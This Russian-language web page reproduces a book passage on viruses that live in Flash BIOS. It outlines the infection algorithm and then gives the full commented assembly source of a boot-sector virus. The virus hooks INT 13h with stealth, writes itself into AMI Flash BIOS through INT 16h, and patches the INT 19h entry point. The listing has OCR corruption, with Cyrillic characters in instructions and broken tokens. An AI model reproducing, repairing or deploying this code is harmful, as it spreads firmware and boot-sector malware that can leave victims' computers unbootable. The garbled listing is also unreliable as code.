Меню
Назад » »

FLASH BIOS

FLASH BIOS

Самая обычная ситуация – это когда код привязан к файловой системе и/или является резидентным (выполняющимся в оперативной памяти). Но что если вирусный код работает в BIOS?!

Да‑да, именно, а почему бы и нет. Отлов и уничтожение такого "зверя" потребует от антивирусной программы чего‑то большего, а именно – возможности трассировать прерывание INT 16h.

 

ПРИМЕЧАНИЕ

Прерывание (от англ. interrupt) – сигнал, сообщающий процессору о совершении какого‑либо события. Прерывание подразумевает приостановку выполнения текущей последовательности команд и передачу управления обработчику прерывания.

 

Почему все так сложно и как с этим связан антивирусный монитор?

Все дело в том, что BIOS (AMI, например) обладает некоторыми особенностями работы в микросхемах Flash‑памяти, которые базируются на использовании функции EOh прерывания INT 16h. Внесенный в данную область памяти вирус впоследствии запрещает повторно использовать указанную функцию. Как следствие, это запретит антивирусным программам воспользоваться ею в процессе удаления вируса из BIOS компьютера. Как же это все работает?

Алгоритм работы вируса, "живущего" в BIOS, выглядит следующим образом.

1. Вирус проверяет систему на наличие Flash BIOS.

2. Далее идет проверка на зараженность Flash BIOS (если BIOS чист – то "ОК", иначе – осуществить выход).

3. Считывается вектор INT 19h из таблицы (прерывание загрузки).

4. Читает первые пять байт от точки входа INT 19h.

5. Проверяет свободное место в микросхеме BIOS (поиск области нулей).

6. Устанавливает память Flash BIOS в режим записи (нормальное ее состояние в режиме чтения).

7. Запись вируса в найденную свободную область.

8. Запись перехода на вирус в точку входа INT 19h.

9. Возврат Flash BIOS в режим "только чтение".

Вот, собственно, и сам код с комментариями (листинг 5.7):

Листинг 5.7. Код вируса, поражающего BIOS ;

Вирусный код, заражающий Flash BIOS.

; Наиболее опасен тем, что при заражении нельзя будет загрузиться ;

даже с "чистой" дискеты.

org 0

; При входе в boot‑сектор 01=загрузочный диск

mov si, 7C00h ;

Устанавливаем 0000h в регистрах DS и ES

хог ах, ах

mov es, ax

mov ds, ax

; Устанавливаем значение стека 0000h:7C00h

cli

mov ss, ax

mov sp, si

sti

; Уменьшаем на 1Кбайт память (0040h:0013h)

dec word ptr [0413h] ;

Получаем размер памяти (при возврате в АХ)

int 12h

mov cl, 6

shl ax, cl

; Устанавливаем новый сегмент вируса

mov es, ax

; Переносим вирусный сектор в вершину памяти

xor di, di

mov cx, 200h

cld

rep movsb

; Сохраняем вектор прерывания INT 13h

mov ax, word ptr [13h*4]

mov word ptr es: [off set i13], ax

mov ax, word ptr [13h*4+2]

mov word ptr es: [offset i13+2], ax

; Устанавливаем новый вектор прерывания INT 13h

mov word ptr [13h*4], offset Handler

mov word ptr [13h*4+2], es

; Переходим в точку ES:Restart (в копии вируса,

; находящейся в вершине памяти)

already_resident:

push es

mov ax, offset Restart

push ax

retf

; Ниже программа работает уже в вершине памяти

Restart:

; Загружаем оригинальный boot‑сектор из конца

; root directory и передаем ему управление

xor ах, ах

call int13h

; Готовим регистры для загрузки оригинального boot‑сектора

хог ах, ах

mov es, ax

; Сегмент для загрузки

mov bx, 7C00h

; Смещение для загрузки

mov cx, 0002h

; Дорожка 0, сектор 2

xor dh, dh

; Головка 0

mov ax, 0201h ;

Функция 2, количество секторов 1

; Проверяем загрузочный диск. 80h и выше – это адрес жесткого диска,

; иначе – дискета. Копию оригинального boot‑сектора храним :

; на жестком диске – дорожка 0, головка 0, сектор 2;

; на дискете – дорожка 0, головка 1, сектор 14

cmp dl, 80h

jae MBR_Loader

; Грузимся с дискеты: изменим сектор и головку

mov с1, 14 ; Сектор 14

mov dh, 1 ; Головка 1

; 3агрузим оригинальный boot‑сектор по адресу 0000h:7C00h

MBR_Loader:

call int13h

; Сохраняем в стеке номер диска, с которого грузимся

push dx

; Проверяем, заражен ли Flash BIOS

cmp byte ptr cs:flash_done, 1

je Flash_resident

; Инфицируем Flash BIOS

call flash_BIOS

; Восстанавливаем из стека DX (номер загрузочного диска)

Flash_resident:

pop dx

; 3апускаем оригинальный boot‑сектор (JMP FAR 0000h:7C00h)

db 0EAh

dw 7C00h

dw 0

;Скрываем присутствие вируса методом чтения оригинального boot‑сектора

Stealth:

; Останавливаем значения сектора, где хранится копия оригинального

; boot‑сектора

mov cx, 02h

mov ax, 0201h

; Проверяем, откуда считан boot‑сектор (дискета или жесткий диск),

; так как копии хранятся в разных местах

cmp dl, 80h

jae hd_stealth

mov cl, 14

mov dh, 1 hd_stealth:

; Читаем копию оригинального boot‑сектора

call int13h

; Выходим из обработчика прерывания

jmp pop_exit

; Проверяем наличие резидентного вируса

restest:

xchgah, al

iret

; Обработчик прерывания INT 13h

Handler:

cmp ax, 0ABBAh

je restest

; Перехватываем только функцию 02h (чтение сектора): проверяем

; номер функции. Если не 2, запускаем оригинальный обработчик

cmp ah, 2

jne jend

; Проверяем номера дорожки и сектора, интересуясь только теми

; секторами, в которых может оказаться вирус :

; дорожка 0, головка 0, сектор 1

cmp cx, 1

jne jend

; Проверим номер головки. Если не 0, то запустим

; оригинальный обработчик

cmp dh, 0

jne jend

tryinfect:

; Считаем сектор в буфер (для дальнейшей обработки).

; Для этого вызовем оригинальный INT 13h

call int13h

jc jend

; Сохраним регистры и флаги (обработчик не должен изменить их)

pushf

push ax

push bx

push cx

push dx

push si

push di

push es

push ds

; Проверяем, заражен ли данный диск вирусом: читаем сигнатуру. ;

Если диск заражен, скрываем присутствие вируса

cmp word ptr es:[bx+offset marker], "LV"

je stealth

; Если диск не заражен, то заражаем

cmp dl, 80h

jb infect_floppy ; Установим номера дорожки, головки и сектора для жесткого

; диска для сохранения оригинального boot‑сектора

mov cx, 2

xor dh, dh

jmp write_virus

infect_Floppy:

; Установим номера дорожки, головки и сектора для дискеты

; для сохранения оригинального boot‑сектора

mov сх, 14

mov dh, 1

Write_Virus:

; Записываем оригинальный boot‑сектор

mov ax, 0301h

call int‑lSh

jc pop_exit

; Установим сегментный регистр ES на сегмент с вирусом

push cs

pop es

; Сбросим флаг зараженности Flash BIOS

mov byte ptr cs:flash_done, 0

; 3апишем тело вируса в boot‑сектор

xor bx, bx

mov ax, 0301h

mov cx, 0001h

xor dh, dh

call int13h

; Восстановим регистры и флаги (как раз те их значения, которые

; свидетельствуют о том, что boot‑сектор только что считали)

Pop_Exit:

pop ds

pop es

pop di

pop si

pop dx

pop cx

pop bx

pop ax

popf

; Выходим из обработчика в вызывающую программу

retf2

; 3апуск оригинального обработчика

jend:

DD 0EAh ; Код команды JMP FAR ;

Оригинальный вектор INT13h

i13 DD 0

; Вызов прерывания INT 13h

int13h proc near

pushf

call dword ptr cs:[i13]

ret

int13h endp

; Первые два байта слова используются как сигнатура

Marker db "VLAD"

; Эта подпрограмма заражает Flash BIOS

Flash_BIOS Proc Near

; Проверим наличие Flash BIOS

mov ax, 0e000h

int 16h

jc no_flash_bios

cmp al, 0FAh

jne no_flash_bios

; Сначала найдем хорошее место для хранения вируса.

; Просканируем память F000h‑FFFFh, где обычно находится BIOS,

; на наличие области 1Кбайт нулей. Хватит даже 512 байт памяти,

; но выделить нужно с запасом

infect_Flash:

; Остановим начальный сегмент для поиска

mov ax, 0F000h

mov ds, ax

; Проверим сегмент

New_segment:

; Остановим стартовое смещение

xor si, si

; Остановим счетчик найденных байт

; (величина свободного места для вируса)

xor dx, dx

ok_new_segment:

; Перейдем к следующему сегменту

inc ax

mov ds, ax

; Проверим, есть ли еще место для вируса

cmp ax, 0FFF0h

je no_flash_BIOS

; Проверим, свободно ли место (для скорости проверяем словами)

test16:

cmp word ptr [si], 0

jne new_segment

; Увеличим счетчик размера найденного свободного места

inc dx

; Проверим, достаточно ли найденного места. Сравниваем с 1 Кбайт, но

; так как память сканируем словами, сравниваем с 512 (1 Кбайт=512 слов)

cmp dx, 512

je found_storage

; Увеличим смещение проверяемого байта

inc si

inc si

; Сравним с 16. Переходим к следующему сегменту

; в начале каждого параграфа

cmp si, 16

je ok_new_segment

jmp test16

; B эту точку попадаем, если место найдено

Found_storage:

; Перейдем к началу зоны

sub ax, 40h

mov ds, ax

; Получим требования к сохранению состояния чипа

mov ax, 0E001h

int 16h

; Проверим, сколько памяти необходимо для сохранения состояния

; чипа. Если слишком много, не будем сохранять состояние

cmp bx, 512

jbe save_chipset

; Установим флаг, показывающий, что состояние не сохраняли

mov byte ptr cs:chipset, 1

; Перейдем к записи

jmp write_enable

; Сюда попадаем, если Flash BIOS не обнаружен:

; записывать некуда – выходим

No_Flash_BIOS:

ret

; Сохраним состояние чипа

save_chipset:

; Установим флаг, показывающий, что состояние сохранили

mov byte ptr cs:chipset, 0

; Сохраним состояние

mov al, 2

push cs

pop es

mov di, offset buffer

int 16h

; Записываемся во Flash BIOS

write_enable:

; Повышаем напряжение

mov al, 5

int 16h

; Разрешаем запись во Flash BIOS

mov al, 7

int 16h

; Копируем 512 байт вируса во Flash BIOS

push ds

pop es

xor di, di

mov cx, 512

push cs

pop ds

xor si, si

cld

rep movsb

mov bx, es ; ВХ=сегмент вируса

xor ах, ах

mov ds, ax ; DS=Ta6nHua векторов

mov di, word ptr [19h*4] ; Смещение INT 19h

mov es, word ptr [19h*4+2] ; Сегмент INT 19h

; 3апишем JMP FAR по адресу точки входа в INT 19h

mov al, 0EAh

stosb

mov ax, offset int19handler

stosw

mov ax, bx

stosw

; Понизим напряжение

mov ax, 0E004h

int 16h

; 3ащитим Flash BIOS от записи

mov al, 6

int 16h

; Проверим, сохранялось ли состояние чипа, если нет – выходим

cmp byte ptr cs:chipset, 0

jne No_Flash_BIOS

; Восстановим состояние чипа

push cs

pop es

mov al, 3

mov di, offset buffer

int 16h

jmp No_Flash_BIOS

; Флаг несохранения состояния чипа

chipset db 0

; Флаг присутствия вируса во Flash BIOS

flash_done db 0

; Наш обработчик INT 19h.

int19Handler Proc Near

; Установим сегментный регистр ES в ноль

хог ах, ах

mov es, ax

; Проверим наличие резидентного вируса

mov ax, 0ABBAh

int 13h

; Если вирус присутствует, то запускаем оригинальный

; обработчик прерывания INT 19h

cmp ax, 0BAABh

jne real_int19h

; Перенесем вирус из BIOS в boot‑буфер

push cs

pop ds

cld

xor si, si

mov di, 7c00h

mov cx,512

rep movsb

; 3апустим вирус в boot‑буфере

mov dl, 80h

jmp goto_Buffer

real_int19h:

; Произведем сброс дисковой подсистемы

xor ax, ax

int 13h

; Проинициализируем значения регистров для загрузки boot‑сектора

mov cx, 1

mov dh, 0

mov ax, 0201h

mov bx, 7C00h

; Проверим, откуда грузимся: если DL не нулевой,

; переходим к загрузке с жесткого диска

cmp dl, 0

ja hd_int19h

; Прочтем boot‑сектор с дискеты. Если при чтении происходит

; ошибка, то читаем с жесткого диска

int 13h

jc fix_hd

; Остановим флаг, показывающий присутствие вируса во Flash BIOS

Goto_Buffer:

mov byte ptr es:[7C00h+offset flash_done], 1

; 3апустим boot‑сектор, находящийся в boot‑буфере

db 0EAh ; Код команды JMP FAR

dw 7c00h

dw 0 Fix_HD:

; Установим номер диска для загрузки (диск С)

mov dl, 80h

HD_int19h:

; Произведем сброс дисковой подсистемы

хог ах, ах

int 13h ;

Прочтем boot‑сектор

mov ax, 0201h

int 13h

jc Boot

jmp Goto_Buffer ;

Если не удалось загрузить boot‑сектор,

; вызываем прерывание INT 18h

Boot:

int 18h

int19Handler EndP

Flash_BIOS EndP

End_Virus:

; Размер области памяти, необходимый для дополнения

; размера вируса до 510 байт

DupSize equ 510‑offset End_Virus

; Заполнение не занятой вирусом части сектора

db DupSize dup (0)

db 55h, 0aah

Можно ли вышеописанный или подобный ему код назвать космополитом, встречающимся в "диком виде"? Да, вполне. В качестве яркого примера, иллюстрирующего, насколько умело можно манипулировать с BIOS, уместно привести оригинальное описание знаменитого "Чернобыля" (www.virusList.com).

Никто не решился оставить свой комментарий.
Будь-те первым, поделитесь мнением с остальными.
avatar